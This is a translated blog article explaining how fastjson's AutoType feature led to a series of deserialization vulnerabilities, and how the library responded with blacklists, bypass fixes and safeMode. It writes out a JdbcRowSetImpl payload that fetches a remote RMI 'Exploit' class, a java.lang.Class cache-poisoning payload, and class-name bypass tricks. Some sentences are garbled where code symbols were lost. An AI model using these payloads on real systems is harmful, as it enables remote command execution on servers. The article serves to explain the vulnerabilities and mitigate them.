Everyone must be familiar with fastjson. This is Alibaba's open source JSON parsing library, which is usually used to convert between Java Beans and JSON strings.
Some time ago, fastjson was exposed to have loopholes many times. Many articles reported on this incident and gave suggestions for upgrading.
But as a developer, I am more concerned about why he is frequently exposed to vulnerabilities? So I looked at the releaseNote of fastjson and some source code with doubts.
Finally found that this is actually related to an AutoType feature in fastjson.
From v1.2.59 released in July 2019 to v1.2.71 released in June 2020, there are updates about AutoType in each version upgrade.
The following are several important upgrades about AutoType in the official releaseNotes of fastjson:
1.2.59 release, enhanced security when AutoType is turned on fastjson
1.2.60 released, adding AutoType blacklist, fixing denial of service security issue fastjson
1.2.61 release, add AutoType security blacklist fastjson
1.2.62 released, adding AutoType blacklist, enhanced date deserialization and JSONPath fastjson
1.2.66 release, bug fix security hardening, and do security hardening, add AutoType blacklist fastjson
1.2.67 release, Bug fix security hardening, added AutoType blacklist fastjson
1.2.68 release, support GEOJSON, supplemented AutoType blacklist. ( Introduce a safeMode configuration. After configuring safeMode, autoType is not supported regardless of whitelist or blacklist. ) fastjson
Released 1.2.69, repairing the newly discovered high-risk AutoType switch bypass security vulnerability, supplemented the AutoType blacklist fastjson
1.2.70 released, improved compatibility, added AutoType blacklist
Even in the open source library of fastjson, there is an Issue suggesting that the author provide a version without autoType:
![-w747][1]
So, what is AutoType? Why does fastjson introduce AutoType? Why does AutoType lead to security holes? This article will analyze it in depth.
Where is AutoType sacred?
The main function of fastjson is to serialize Java Beans into JSON strings, so that after the strings are obtained, they can be persisted through databases and other methods.
However, fastjson does not use [Java's own serialization mechanism][2] in the process of serialization and deserialization, but customizes a set of mechanisms.
In fact, for the JSON framework, if you want to convert a Java object into a string, you have two options:
- 1. Based on attributes
- 2. Based on setter/getter
In our commonly used JSON serialization framework, FastJson and jackson serialize objects into json strings by traversing all the getter methods in the class. Gson does not do this. He traverses all the properties in the class through reflection and serializes its values into json.
Suppose we have the following Java class:
class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) {
this.fruit = fruit;
}
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等
}
When we want to serialize it, fastjson will scan the getter method, that is, find getName and getFruit, and then serialize the values of the name and fruit fields into the JSON string.
Then the question comes, the Fruit we defined above is just an interface, can fastjson correctly serialize the attribute values when serializing? If possible, what type will fastjson deserialize the fruit into when deserializing?
Let's try to verify it, based on (fastjson v 1.2.68):
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
The above code is relatively simple. We created a store, specified a name for it, and created a Fruit subtype Apple, and then serialized this store to get the following JSON JSON.toJSONStringcontent:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
So, what is the type of this fruit, and can it be deserialized into Apple? Let's execute the following code again:
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
The execution results are as follows:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
It can be seen that after deserializing the store, we try to convert Fruit to Apple, but an exception is thrown. If we try to convert directly to Fruit, no error will be reported, such as:
Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
For the above phenomenon, we know that when a class contains an interface (or abstract class), when using fastjson for serialization, the subtype will be erased, and only the type of the interface (abstract class) will be retained, making the reverse The original type cannot be obtained during serialization.
So is there any way to solve this problem? fastjson introduces AutoType, which records the original type during serialization.
The method of use is by SerializerFeature.WriteClassNamemarking, that is, in the above code
String jsonString = JSON.toJSONString(store);
changed to:
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
That is, the above code, the output is as follows:
System.out.println("toJSONString : " + jsonString);
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
},
"name":"Hollis"
}
It can be seen that after SerializerFeature.WriteClassNamemarking with , there is an extra @typefield in the JSON string, marking the original type corresponding to the class, so that it is convenient to locate the specific type when deserializing
As above, after deserializing the serialized string, an Apple type can be obtained smoothly, and the overall output content is as follows:
toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}
This is AutoType, and the reason why AutoType was introduced in fastjson.
However, it is also this feature, which has brought endless pain to subsequent fastjson users because of insufficient security considerations at the beginning of the functional design.
What's wrong with AutoType?
Because of the autoType function, when fastjson deserializes the JSON string, it will read @typethe content, try to deserialize the JSON content into this object, and call the setter method of this class.
Then you can use this feature to construct a JSON string yourself, and use it to @typespecify an attack library you want to use.
For example, hackers commonly use the attack class library com.sun.rowset.JdbcRowSetImpl. This is a class library officially provided by sun. The dataSourceName of this class supports passing in an rmi source. When parsing this uri, it will support rmi remote calls. Call the method in the specified rmi address.
And fastjson will call the setter method of the target class when deserializing, so if the hacker sets a command to be executed in the dataSourceName of JdbcRowSetImpl, it will lead to serious consequences.
If you set a JSON string in the following way, you can realize remote command execution (in earlier versions, JdbcRowSetImpl has been blacklisted in the new version)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
This is the so-called remote command execution vulnerability, that is, exploiting the vulnerability to intrude into the target server and execute commands through the server.
In the early fastjson version (before v1.2.25), because AutoType is enabled by default, and there are no restrictions, it can be said to be naked.
Starting from v1.2.25, fastjson has disabled autotype support by default, added checkAutotype, and added blacklist + whitelist to prevent autotype from being enabled.
However, it was also from this time that the game between hackers and fastjson authors began.
Because fastjson disables autotype support by default and checks the black and white lists, the attack direction changes to "how to bypass checkAutotype".
Let's take a closer look at the vulnerabilities and attack principles in each version of fastjson. Due to space limitations, I will not explain the special details here. If you are interested, I can write a separate article later to explain the details . The following content is mainly to provide some ideas, the purpose is to explain the importance of paying attention to security when writing code.
Bypassing checkAutotype, the game between hackers and fastjson
Before fastjson v1.2.41, in the code of checkAutotype, the black and white lists will be filtered first. If the class to be deserialized is not in the black and white list, then the target class will be deserialized.
However, during the loading process, fastjson has a special process, that is, when loading the class, the sum before and after the className will be removed, Las ;shown in the figure Lcom.lang.Thread;.
![-w853][3]
The black and white lists are detected by startWith, so hackers can bypass the check of the black and white lists by adding sums before Land after the attack library they want to use, without delaying the normal loading by fastjson.;
For example , it will first pass the whitelist verification, and then fastjson will remove the front and Lcom.sun.rowset.JdbcRowSetImpl;rear sums when loading the class , and it becomes .L;com.sun.rowset.JdbcRowSetImpl
In order to avoid being attacked, in the later v1.2.42 version, when performing black and white list detection, fastjson first judges whether the front and back of the class name of the target class is a sum, and if so, intercepts the front and back sums and then proceeds to the Lblack ;and Lwhite ;list verification.
LLIt seems to solve the problem, but after the hacker discovers this rule, he double-writes the sum before and after the target class when attacking ;;, so that he can still bypass the detection after being intercepted. likeLLcom.sun.rowset.JdbcRowSetImpl;;
There are always people who better than you. In v1.2.43, before the blacklist and whitelist judgment, fastjson added a LLjudgment on whether to start with . If the target class starts LLwith , then an exception will be thrown directly, so this vulnerability is temporarily fixed.
The hacker couldn't get through Lhere ;, so he tried to find a way to start from other places, because when fastjson loads classes, it not only treats such classes specially, but also Ltreats them specially.;[
The same attack method, added in front of the target class [, all versions before v1.2.43 fell again.
Therefore, in the v1.2.44 version, the author of fastjson made stricter requirements, as long as the target class starts [or ;ends with , an exception will be thrown directly. It also solves the bugs found in v1.2.43 and historical versions.
In the next few versions, the main attack method of hackers is to bypass the blacklist, and fastjson is constantly improving its own blacklist.
Can autoType be attacked without enabling it?
But the good times didn't last long. When upgrading to v1.2.47, hackers found a way to attack again. And this attack only works when autoType is turned off.
Isn't it strange that if autoType is not turned on, it will be attacked instead.
Because there is a global cache in fastjson, when the class is loaded, if autotype is not enabled, it will try to get the class from the cache first, and if it exists in the cache, it will return directly. ** Hackers use this mechanism to attack.
The hacker first finds a way to add a class to the cache, and then executes it again to bypass the black and white list detection. What a clever way.
First of all, if you want to add a class in the blacklist to the cache, you need to use a class that is not in the blacklist. This class isjava.lang.Class
java.lang.ClassThe deserializer corresponding to the class is MiscCodec. When deserializing, it will take the val value in the json string and load the class corresponding to the val.
If fastjson cache is true, the class corresponding to this val will be cached in the global cache
If the class named val is loaded again, and autotype is not enabled, the next step is to try to obtain this class from the global cache, and then attack.
Therefore, hackers only need to disguise the attack class as follows, in the following format:
{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
So in v1.2.48, fastjson fixed this bug. In MiscCodec, where the Class class is processed, fastjson cache is set to false, so that the attack class will not be cached and will not be obtained.
In the following versions, hackers and fastjson have continued to circumvent and add blacklists to the blacklist.
Until later, hackers discovered a new exploit method in the version before v1.2.68.
Attacking with exceptions
In fastjson, if the class specified by @type is a subclass of Throwable, then the corresponding deserialization processing class will use ThrowableDeserializer
In the method of ThrowableDeserializer#deserialze, when the key of a field is also @type, this value will be regarded as the class name, and then a checkAutoType detection will be performed.
And specify expectClass as Throwable.class, but in checkAutoType, there is such an agreement that if expectClass is specified, it will also pass the verification.
![-w869][4]
Because fastjson will try to execute the getter method inside when deserializing, and there is a getMessage method in the Exception class.
Hackers only need to customize an exception and rewrite its getMessage to achieve the purpose of the attack.
This vulnerability is the "serious vulnerability" that went viral on the Internet in June, forcing many developers to upgrade to the new version.
This vulnerability was fixed in v1.2.69. The main repair method is to modify the expectClass that needs to be filtered out, add 4 new classes, and change the original Class type judgment to hash judgment.
In fact, according to the official documentation of fastjson, even if you don’t upgrade to the new version, you can avoid this problem in v1.2.68, that is, use safeMode
AutoType Safe Mode?
It can be seen that the exploitation of these vulnerabilities is almost all around AutoType. Therefore, in the v1.2.68 version, safeMode was introduced. After configuring safeMode, no matter the whitelist or blacklist, autoType is not supported, which can be alleviated to a certain extent. Deserialization Gadgets variant attack.
After setting safeMode, the @type field will no longer take effect, that is, when parsing a JSON string like {“@type”: “com.java.class”}, the corresponding class will no longer be deserialized.
The way to enable safeMode is as follows:
ParserConfig.getGlobalInstance().setSafeMode(true);
For example, in the initial code example of this article, use the above code to enable the safeMode mode, execute the code, and get the following exception:
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
But it is worth noting that using this function, fastjson will directly disable the autoType function, that is, in the checkAutoType method, an exception will be thrown directly.
![-w821][5]
Afterword
At present, fastjson has been released to version v1.2.72, and the known problems in the previous version have been fixed in the new version.
Developers can upgrade the fastjson used in their projects to the latest version, and if AutoType is not needed in the code, they can consider using safeMode, but the impact on historical code should be evaluated.
Because fastjson defines its own serialization tool class, and uses asm technology to avoid reflection, use cache, and do a lot of algorithm optimization, etc., which greatly improves the efficiency of serialization and deserialization.
Some netizens have compared before:
![-w808][6]
Of course, being fast also brings some security issues, which is undeniable.
Finally, I would like to say a few words. Although fastjson is open sourced by Alibaba, as far as I know, its author Wen Shao maintains most of the time in his spare time.
A netizen on Zhihu said: " Wen Shao almost supported a JSON library that is widely used by himself, while other libraries almost rely on an entire team. Based on this, Wen Shao, as "Ali who never changed his original intention, "The first generation of open source people", well deserved. "
In fact, many people in Ali have criticized the fastjson vulnerability, but after the criticism, everyone is more understanding and tolerant .
fastjson is currently a relatively well-known domestic class library, and it can be said that it has attracted much attention, so it has gradually become the focus of security research, so some deep loopholes will be discovered. As Wen Shao himself said:
"Compared with the discovery of vulnerabilities, what is worse is that there are vulnerabilities that are not known to be exploited. Timely discovery of vulnerabilities and upgrades to fix them are a manifestation of security capabilities."